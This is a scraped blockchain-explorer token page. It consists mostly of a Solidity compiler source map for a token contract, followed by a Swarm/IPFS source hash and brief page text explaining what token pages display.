29:0;;;;;;;;:::i;:::-;-1:-1:-1;3019:9:0;3031:5;3035:1;3031;:5;:::i;:::-;3019:17;2873:190;-1:-1:-1;;;;;2873:190:0:o;10495:1447::-;10608:16;;10587:4;;10608:16;;10604:73;;;10634:41;10649:6;10657:9;10668:6;10634:14;:41::i;:::-;10627:48;;;;10604:73;-1:-1:-1;;;;;10691:22:0;;;;;;:14;:22;;;;;;;;10690:23;:53;;;;-1:-1:-1;;;;;;10718:25:0;;;;;;:14;:25;;;;;;;;10717:26;10690:53;10687:128;;;10767:11;;;;10759:44;;;;-1:-1:-1;;;10759:44:0;;6924:2:1;10759:44:0;;;6906:21:1;6963:2;6943:18;;;6936:30;-1:-1:-1;;;6982:18:1;;;6975:50;7042:18;;10759:44:0;6722:344:1;10759:44:0;10845:12;;10835:6;:22;;:49;;;-1:-1:-1;;;;;;10861:23:0;;;;;;:15;:23;;;;;;;;10835:49;10827:79;;;;-1:-1:-1;;;10827:79:0;;7273:2:1;10827:79:0;;;7255:21:1;7312:2;7292:18;;;7285:30;-1:-1:-1;;;7331:18:1;;;7324:47;7388:18;;10827:79:0;7071:341:1;10827:79:0;10935:4;;-1:-1:-1;;;;;10935:4:0;10921:10;:18;;;;:39;;-1:-1:-1;10944:16:0;;;;10943:17;10921:39;:64;;;;-1:-1:-1;10964:21:0;;;;;;;10921:64;:109;;;;-1:-1:-1;11017:13:0;;11007:4;10989:24;;;;:9;:24;;;;;;:41;;10921:109;10917:141;;;11033:23;:21;:23::i;:::-;9292:10;;:15;;;11072:32;;-1:-1:-1;11100:4:0;;-1:-1:-1;;;;;11087:17:0;;;11100:4;;11087:17;11072:32;11068:144;;;-1:-1:-1;;;;;11129:17:0;;11149:1;11129:17;;;:9;:17;;;;;;11121:56;;;;-1:-1:-1;;;11121:56:0;;7619:2:1;11121:56:0;;;7601:21:1;7658:2;7638:18;;;7631:30;-1:-1:-1;;;7677:18:1;;;7670:52;7739:18;;11121:56:0;7417:346:1;11121:56:0;11192:8;9374:12;9361:10;:25;9323:71;11192:8;11254:13;;;;;;;11250:120;;;-1:-1:-1;;;;;11293:21:0;;;;;;:13;:21;;;;;;;;11292:22;:51;;;;-1:-1:-1;;;;;;11319:24:0;;;;;;:13;:24;;;;;;;;11318:25;11292:51;11284:74;;;;-1:-1:-1;;;11284:74:0;;7970:2:1;11284:74:0;;;7952:21:1;8009:2;7989:18;;;7982:30;-1:-1:-1;;;8028:18:1;;;8021:41;8079:18;;11284:74:0;7768:335:1;11284:74:0;11430:53;;;;;;;;;;;-1:-1:-1;;;11430:53:0;;;;;;;;-1:-1:-1;;;;;11430:17:0;;-1:-1:-1;11430:17:0;;;:9;:17;;;;;;;;:53;;11452:6;;11430:21;:53::i;:::-;-1:-1:-1;;;;;11410:17:0;;;;;;;:9;:17;;;;;;;;:73;;;;11501:26;;;;;:15;:26;;;;;;;11500:27;:45;;;;-1:-1:-1;11531:14:0;;-1:-1:-1;;;11531:14:0;;;;11500:45;11496:157;;;11606:10;;-1:-1:-1;;;;;11570:20:0;;;;;;:9;:20;;;;;;:32;;11595:6;11570:24;:32::i;:::-;:46;;11562:79;;;;-1:-1:-1;;;11562:79:0;;8310:2:1;11562:79:0;;;8292:21:1;8349:2;8329:18;;;8322:30;-1:-1:-1;;;8368:18:1;;;8361:50;8428:18;;11562:79:0;8108:344:1;11562:79:0;-1:-1:-1;;;;;11688:19:0;;11665;11688;;;:11;:19;;;;;;;;11687:20;:47;;;;-1:-1:-1;;;;;;11712:22:0;;;;;;:11;:22;;;;;;;;11711:23;11687:47;:96;;11777:6;11687:96;;;11737:37;11748:6;11756:9;11767:6;11737:10;:37::i;:::-;-1:-1:-1;;;;;11817:20:0;;;;;;:9;:20;;;;;;11665:118;;-1:-1:-1;11817:37:0;;11665:118;11817:24;:37::i;:::-;-1:-1:-1;;;;;11794:20:0;;;;;;;:9;:20;;;;;;;:60;;;;11872:40;;;;;;;;;;11900:11;160:25:1;;148:2;133:18;;14:177;11872:40:0;;;;;;;;-1:-1:-1;11930:4:0;;10495:1447;-1:-1:-1;;;;10495:1447:0:o;2729:136::-;2787:7;2814:43;2818:1;2821;2814:43;;;;;;;;;;;;;;;;;:3;:43::i;9740:369::-;9872:4;9838:6;9845:9;9855:6;6842:15;-1:-1:-1;;;;;6823:34:0;:15;-1:-1:-1;;;;;6823:34:0;;:76;;;;-1:-1:-1;;;;;;6875:24:0;;;;;;:7;:24;;;;;;;;6823:76;6806:181;;;6944:35;:14;6963:15;6944:18;:35::i;:::-;-1:-1:-1;;;;;6915:26:0;;;;;;:9;:26;;;;;:64;6806:181;9909:53:::1;::::0;;;;::::1;::::0;;::::1;::::0;;-1:-1:-1;;;9909:53:0::1;::::0;;::::1;::::0;;;;-1:-1:-1;;;;;9909:17:0;::::1;-1:-1:-1::0;9909:17:0;;;:9:::1;:17:::0;;;;;;;;:53:::1;::::0;9931:6;;9909:21:::1;:53::i;:::-;-1:-1:-1::0;;;;;9889:17:0;;::::1;;::::0;;;:9:::1;:17;::::0;;;;;:73;;;;9996:20;;::::1;::::0;;;;:32:::1;::::0;10021:6;9996:24:::1;:32::i;:::-;-1:-1:-1::0;;;;;9973:20:0;;::::1;;::::0;;;:9:::1;:20;::::0;;;;;;:55;;;;10044:35;;;;::::1;::::0;::::1;::::0;::::1;::::0;10072:6;160:25:1;;148:2;133:18;;14:177;10044:35:0::1;;;;;;;;-1:-1:-1::0;10097:4:0::1;::::0;9740:369;-1:-1:-1;;;;;;9740:369:0:o;12390:1419::-;6583:16;:23;;-1:-1:-1;;6583:23:0;6602:4;6583:23;;;12499:4:::1;6583:16:::0;12481:24;;;:9:::1;:24;::::0;;;;;12580:8:::1;::::0;12562:12:::1;::::0;12481:24;;6583:16;12542:54:::1;::::0;12594:1:::1;::::0;12542:47:::1;::::0;12580:8;12542:47;;12481:24;;12542:19:::1;:33::i;:::-;:37:::0;::::1;:47::i;:54::-;12516:80:::0;-1:-1:-1;12607:20:0::1;12630:36;:15:::0;12516:80;12630:19:::1;:36::i;:::-;12703:16;::::0;;12717:1:::1;12703:16:::0;;;;;::::1;::::0;;12607:59;;-1:-1:-1;12679:21:0::1;::::0;12703:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12703:16:0::1;12679:40;;12748:4;12730;12735:1;12730:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12730:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12774:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;12774:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;12730:7;;12774:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12764:4;12769:1;12764:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12764:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;12800:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;12800:188:0;;:6;::::1;::::0;:57:::1;::::0;:188:::1;::::0;12872:12;;12800:6:::1;::::0;12915:4;;12942::::1;::::0;12962:15:::1;::::0;12800:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;13090:12:0::1;::::0;13021:21:::1;::::0;-1:-1:-1;13001:17:0::1;::::0;-1:-1:-1;13077:33:0::1;::::0;13090:19:::1;::::0;13107:1:::1;13090:16;:19::i;:::-;13077:8;::::0;;:12:::1;:33::i;:::-;13055:55;;13123:26;13152:51;13201:1;13152:44;13184:11;13152:27;13166:12;;13152:9;:13;;:27;;;;:::i;:51::-;13123:80;;13214:26;13243:44;13275:11;13243:27;13257:12;;13243:9;:13;;:27;;;;:::i;:44::-;13329:15;::::0;13321:74:::1;::::0;13214:73;;-1:-1:-1;13301:15:0::1;::::0;-1:-1:-1;;;;;13329:15:0;;::::1;::::0;13385:5:::1;::::0;13214:73;;13301:15;13321:74;13301:15;13321:74;13214:73;13329:15;13385:5;13321:74:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;13419:5:0::1;::::0;-1:-1:-1;;13441:19:0;;;-1:-1:-1;13437:365:0::1;;13477:6;::::0;13652:21:::1;::::0;13477:245:::1;::::0;-1:-1:-1;;;13477:245:0;;13554:4:::1;13477:245;::::0;::::1;10381:34:1::0;10431:18;;;10424:34;;;13477:6:0::1;10474:18:1::0;;;10467:34;;;10517:18;;;10510:34;-1:-1:-1;;;;;13652:21:0;;::::1;10560:19:1::0;;;10553:44;13692:15:0::1;10613:19:1::0;;;10606:35;13477:6:0;::::1;::::0;:22:::1;::::0;13508:18;;10315:19:1;;13477:245:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13742:48:0::1;::::0;;11137:25:1;;;11193:2;11178:18;;11171:34;;;13742:48:0::1;::::0;-1:-1:-1;11110:18:1;13742:48:0::1;;;;;;;13437:365;-1:-1:-1::0;;6629:16:0;:24;;-1:-1:-1;;6629:24:0;;;-1:-1:-1;;;;;;;12390:1419:0:o;11950:432::-;12083:4;;12039:7;;;;-1:-1:-1;;;;;12083:17:0;;;:4;;:17;:48;;12123:8;;12083:48;;;12103:17;;12083:48;12059:72;-1:-1:-1;12142:17:0;12162:34;12192:3;12162:25;:6;12059:72;12162:10;:25::i;:34::-;12254:4;12236:24;;;;:9;:24;;;;;;12142:54;;-1:-1:-1;12236:39:0;;12142:54;12236:28;:39::i;:::-;12227:4;12209:24;;;;:9;:24;;;;;;;:66;;;;12291:42;;-1:-1:-1;;;;;12291:42:0;;;;;;;12323:9;160:25:1;;148:2;133:18;;14:177;12291:42:0;;;;;;;;12353:21;:6;12364:9;12353:10;:21::i;:::-;12346:28;11950:432;-1:-1:-1;;;;;;11950:432:0:o;3071:222::-;3129:7;3153:1;3158;3153:6;3149:23;;-1:-1:-1;3169:1:0;3162:8;;3149:23;3182:9;3194:5;3198:1;3194;:5;:::i;:::-;3182:17;-1:-1:-1;3227:1:0;3218:5;3222:1;3182:17;3218:5;:::i;:::-;:10;3210:56;;;;-1:-1:-1;;;3210:56:0;;11813:2:1;3210:56:0;;;11795:21:1;11852:2;11832:18;;;11825:30;11891:34;11871:18;;;11864:62;-1:-1:-1;;;11942:18:1;;;11935:31;11983:19;;3210:56:0;11611:397:1;3301:132:0;3359:7;3386:39;3390:1;3393;3386:39;;;;;;;;;;;;;;;;;3527:7;3562:12;3555:5;3547:28;;;;-1:-1:-1;;;3547:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3586:9:0;3598:5;3602:1;3598;:5;:::i;196:160:1:-;261:20;;317:13;;310:21;300:32;;290:60;;346:1;343;336:12;290:60;196:160;;;:::o;361:689::-;453:6;461;469;522:2;510:9;501:7;497:23;493:32;490:52;;;538:1;535;528:12;490:52;578:9;565:23;607:18;648:2;640:6;637:14;634:34;;;664:1;661;654:12;634:34;702:6;691:9;687:22;677:32;;747:7;740:4;736:2;732:13;728:27;718:55;;769:1;766;759:12;718:55;809:2;796:16;835:2;827:6;824:14;821:34;;;851:1;848;841:12;821:34;906:7;899:4;889:6;886:1;882:14;878:2;874:23;870:34;867:47;864:67;;;927:1;924;917:12;864:67;958:4;950:13;;;;-1:-1:-1;982:6:1;-1:-1:-1;1007:37:1;;1023:20;;;-1:-1:-1;1007:37:1;:::i;:::-;997:47;;361:689;;;;;:::o;1055:548::-;1167:4;1196:2;1225;1214:9;1207:21;1257:6;1251:13;1300:6;1295:2;1284:9;1280:18;1273:34;1325:1;1335:140;1349:6;1346:1;1343:13;1335:140;;;1444:14;;;1440:23;;1434:30;1410:17;;;1429:2;1406:26;1399:66;1364:10;;1335:140;;;1339:3;1524:1;1519:2;1510:6;1499:9;1495:22;1491:31;1484:42;1594:2;1587;1583:7;1578:2;1570:6;1566:15;1562:29;1551:9;1547:45;1543:54;1535:62;;;;1055:548;;;;:::o;1608:131::-;-1:-1:-1;;;;;1683:31:1;;1673:42;;1663:70;;1729:1;1726;1719:12;1663:70;1608:131;:::o;1744:315::-;1812:6;1820;1873:2;1861:9;1852:7;1848:23;1844:32;1841:52;;;1889:1;1886;1879:12;1841:52;1928:9;1915:23;1947:31;1972:5;1947:31;:::i;:::-;1997:5;2049:2;2034:18;;;;2021:32;;-1:-1:-1;;;1744:315:1:o;2256:248::-;2324:6;2332;2385:2;2373:9;2364:7;2360:23;2356:32;2353:52;;;2401:1;2398;2391:12;2353:52;-1:-1:-1;;2424:23:1;;;2494:2;2479:18;;;2466:32;;-1:-1:-1;2256:248:1:o;2509:180::-;2565:6;2618:2;2606:9;2597:7;2593:23;2589:32;2586:52;;;2634:1;2631;2624:12;2586:52;2657:26;2673:9;2657:26;:::i;2694:456::-;2771:6;2779;2787;2840:2;2828:9;2819:7;2815:23;2811:32;2808:52;;;2856:1;2853;2846:12;2808:52;2895:9;2882:23;2914:31;2939:5;2914:31;:::i;:::-;2964:5;-1:-1:-1;3021:2:1;3006:18;;2993:32;3034:33;2993:32;3034:33;:::i;:::-;2694:456;;3086:7;;-1:-1:-1;;;3140:2:1;3125:18;;;;3112:32;;2694:456::o;3344:247::-;3403:6;3456:2;3444:9;3435:7;3431:23;3427:32;3424:52;;;3472:1;3469;3462:12;3424:52;3511:9;3498:23;3530:31;3555:5;3530:31;:::i;3596:315::-;3661:6;3669;3722:2;3710:9;3701:7;3697:23;3693:32;3690:52;;;3738:1;3735;3728:12;3690:52;3777:9;3764:23;3796:31;3821:5;3796:31;:::i;:::-;3846:5;-1:-1:-1;3870:35:1;3901:2;3886:18;;3870:35;:::i;:::-;3860:45;;3596:315;;;;;:::o;4124:388::-;4192:6;4200;4253:2;4241:9;4232:7;4228:23;4224:32;4221:52;;;4269:1;4266;4259:12;4221:52;4308:9;4295:23;4327:31;4352:5;4327:31;:::i;:::-;4377:5;-1:-1:-1;4434:2:1;4419:18;;4406:32;4447:33;4406:32;4447:33;:::i;:::-;4499:7;4489:17;;;4124:388;;;;;:::o;4517:180::-;4576:6;4629:2;4617:9;4608:7;4604:23;4600:32;4597:52;;;4645:1;4642;4635:12;4597:52;-1:-1:-1;4668:23:1;;4517:180;-1:-1:-1;4517:180:1:o;4931:356::-;5133:2;5115:21;;;5152:18;;;5145:30;5211:34;5206:2;5191:18;;5184:62;5278:2;5263:18;;4931:356::o;5292:127::-;5353:10;5348:3;5344:20;5341:1;5334:31;5384:4;5381:1;5374:15;5408:4;5405:1;5398:15;5424:127;5485:10;5480:3;5476:20;5473:1;5466:31;5516:4;5513:1;5506:15;5540:4;5537:1;5530:15;5556:135;5595:3;5616:17;;;5613:43;;5636:18;;:::i;:::-;-1:-1:-1;5683:1:1;5672:13;;5556:135::o;6103:125::-;6168:9;;;6189:10;;;6186:36;;;6202:18;;:::i;6589:128::-;6656:9;;;6677:11;;;6674:37;;;6691:18;;:::i;8589:251::-;8659:6;8712:2;8700:9;8691:7;8687:23;8683:32;8680:52;;;8728:1;8725;8718:12;8680:52;8760:9;8754:16;8779:31;8804:5;8779:31;:::i;8845:980::-;9107:4;9155:3;9144:9;9140:19;9186:6;9175:9;9168:25;9212:2;9250:6;9245:2;9234:9;9230:18;9223:34;9293:3;9288:2;9277:9;9273:18;9266:31;9317:6;9352;9346:13;9383:6;9375;9368:22;9421:3;9410:9;9406:19;9399:26;;9460:2;9452:6;9448:15;9434:29;;9481:1;9491:195;9505:6;9502:1;9499:13;9491:195;;;9570:13;;-1:-1:-1;;;;;9566:39:1;9554:52;;9661:15;;;;9626:12;;;;9602:1;9520:9;9491:195;;;-1:-1:-1;;;;;;;9742:32:1;;;;9737:2;9722:18;;9715:60;-1:-1:-1;;;9806:3:1;9791:19;9784:35;9703:3;8845:980;-1:-1:-1;;;8845:980:1:o;10652:306::-;10740:6;10748;10756;10809:2;10797:9;10788:7;10784:23;10780:32;10777:52;;;10825:1;10822;10815:12;10777:52;10854:9;10848:16;10838:26;;10904:2;10893:9;10889:18;10883:25;10873:35;;10948:2;10937:9;10933:18;10927:25;10917:35;;10652:306;;;;;:::o;11216:168::-;11289:9;;;11320;;11337:15;;;11331:22;;11317:37;11307:71;;11358:18;;:::i;11389:217::-;11429:1;11455;11445:132;;11499:10;11494:3;11490:20;11487:1;11480:31;11534:4;11531:1;11524:15;11562:4;11559:1;11552:15;11445:132;-1:-1:-1;11591:9:1;;11389:217::o

Swarm Source

ipfs://ead3f87a5aab3aa38c1c4bf0da988f1e53dbe8ed007cebd0c3bff66c02149b7f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.